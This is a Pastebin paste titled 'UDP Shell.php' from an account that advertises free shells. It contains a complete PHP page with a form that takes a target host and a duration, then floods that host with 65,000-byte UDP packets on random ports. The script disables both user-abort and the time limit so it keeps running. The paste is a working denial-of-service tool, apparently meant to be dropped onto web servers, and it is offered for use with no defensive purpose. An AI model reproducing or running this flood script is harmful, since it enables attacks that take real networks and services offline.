Advertisement
FreeShells

UDP Shell.php

Feb 28th, 2017
801
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1.  
  2.  
  3. Enjoy The Script, For More And Free Shells. Check Out My Profile <3 :)
  4.  
  5.  
  6. <html>
  7. <body>
  8. <title>
  9. UDP Flood</title>
  10. <font color="00FF00">
  11.  
  12. <center>
  13. <STYLE>
  14. input{
  15. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  16. }
  17. button{
  18. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
  19. }
  20. body {
  21. background-color: black;
  22. }
  23. </style>
  24. </br>
  25. </br>
  26. </br>
  27. </br>
  28. </br>
  29. <?php
  30. //UDP
  31. if(isset($_GET['host'])&&isset($_GET['time'])){
  32. $packets = 0;
  33. ignore_user_abort(TRUE);
  34. set_time_limit(0);
  35.  
  36. $exec_time = $_GET['time'];
  37.  
  38. $time = time();
  39. //print "Started: ".time('d-m-y h:i:s')."<br>";
  40. $max_time = $time+$exec_time;
  41.  
  42. $host = $_GET['host'];
  43.  
  44. for($i=0;$i<65000;$i++){
  45. $out .= 'X';
  46. }
  47. while(1){
  48. $packets++;
  49. if(time() > $max_time){
  50. break;
  51. }
  52. $rand = rand(1,65000);
  53. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  54. if($fp){
  55. fwrite($fp, $out);
  56. fclose($fp);
  57. }
  58. }
  59. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  60. echo '<br><br>
  61. <form action="'.$surl.'" method=GET>
  62. <input type="hidden" name="act" value="phptools">
  63. Host: <br><input type=text name=host><br>
  64. Length (seconds): <br><input type=text name=time><br>
  65. <input type=submit value=Go></form>';
  66. }else{ echo '<br><b>UDP Flood</b><br>
  67. <form action=? method=GET>
  68. <input type="hidden" name="act" value="phptools">
  69. Host: <br><input type=text name=host value=><br>
  70. Length (seconds): <br><input type=text name=time value=><br><br>
  71. <input type=submit value=Go></form>';
  72. }
  73. ?>
  74.  
  75. </center>
  76. </body>
  77.  
  78. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement